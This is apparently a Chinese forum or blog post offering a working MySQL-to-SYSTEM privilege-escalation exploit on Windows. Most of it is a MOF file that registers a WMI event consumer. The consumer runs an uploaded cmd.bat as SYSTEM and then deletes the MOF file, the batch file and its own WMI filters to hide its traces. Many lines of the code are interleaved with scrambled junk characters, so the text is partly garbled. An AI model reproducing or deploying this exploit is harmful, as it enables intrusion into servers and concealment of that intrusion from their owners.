Mysql 提权即时无错Mof exp

admin

这个sql提权MOF需要运行 system下的文件，不能定义路径。
3 i5 {3 I; `9 n+ d需要将要运行的命令写入到bat上传到system32目录，然后执行。

这个sql提权MOF需要运行 system下的文件，不能定义路径。
需要将要运行的命令写入到bat上传到system32目录，然后执行。
& h' L  i4 _, w8 X) y5 }' U0 A$ w
#pragma
9 Z; Z  S% U& g6 B3 B4 {7 y                        namespace("\\\\.\\root\\cimv2")
                        class
                        MyClass547
( W0 ?4 W; h" }* m; H* W% o% e                        {           [key]
5 F- C, G! D4 X5 l! c6 Q& F                        string
                        Name;
+ C( }/ ?- ~) e& T+ G                        };
                        class
# M6 j* l9 B1 q" n* N/ m0 f) u1 D                        ActiveScriptEventConsumer
" l- s3 c7 U1 Q9 g0 q, [5 ?) j                        : __EventConsumer {          [key]
8 |7 t) x9 ]. S5 Z6 h9 Y                        string
                        Name;           [not_null]
                        string
                        ScriptingEngine;           string
                        ScriptFileName;           [template]
* ]. Z' u* O& T* N5 r& E$ G                        string
                        ScriptText;         uint32 KillTimeout;
                        }; instance of __Win32Provider as $P {
1 P! U& m3 w! E6 i) Z% }                        Name
  K: ]* P# U( x4 [, a1 X/ c                        =
7 x2 I; N  v3 s9 s( ]                        "ActiveScriptEventConsumer";     CLSID =
' e/ W+ b8 }- H9 \                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
                        PerUserInitialization
                        = TRUE;
0 z: v9 R" R* h6 f" {6 ^                        }; instance of __EventConsumerProviderRegistration {         Provider
                        = $P;         ConsumerClassNames
                        =
                        {"ActiveScriptEventConsumer"};
                        };
                        Instance of ActiveScriptEventConsumer
                        as $cons {         Name
                        =
# V6 ^1 i3 h9 A  L                        "ASEC";         ScriptingEngine
, ^# t7 `8 Q+ j1 v  x                        =
                        "JScript";         ScriptText
                        =
                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
' Q) v3 R# _, L* t                        Instance of ActiveScriptEventConsumer
                        as $cons2 {         Name
+ _4 E% y" f# X                        =
                        "qndASEC";         ScriptingEngine
8 n$ q* G- \9 V                        =
. c5 @; ]. {- I/ |/ Q* G                        "JScript";         ScriptText
; d0 K6 r) H3 C0 Q# O* b                        =
; ~" i* p4 q" Y* W3 m                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
& b8 g+ S7 w8 y                        }; instance of __EventFilter as $Filt {         Name
7 O% }( ^( K; U9 L; F1 r8 n: u! M                        =
$ k; D, P& f/ i! C! |                        "instfilt";         Query
' L4 i8 g' b$ d+ e) E! \" e                        =
                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
. a' X8 Z5 V, v5 `                        =
; S1 Z* A4 p0 Y: U% K  x! l                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
3 n" z# E# _( m* R- l9 Z                        =
                        "qndfilt";         Query
* ?* v2 X6 u: D+ \7 h                        =
7 k# @( ?" J8 J- c9 s8 g8 `                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
                        =
# h# u7 r6 @! ?- S) p5 C                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
                        = $cons;         Filter
2 r/ N9 B3 w( G( m+ c                        = $Filt;
& `2 h4 Q& S- H* w( F8 U                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
7 V4 |$ V! v0 k5 X+ t3 ]; o5 F  S                        = $cons2;         Filter
                        = $Filt2;
                        }; instance of MyClass547
! P- w8 c+ f! G( W* m                        as $MyClass {         Name
+ N5 e. x4 n, m' D                        =
                        "ClassConsumer";
                        };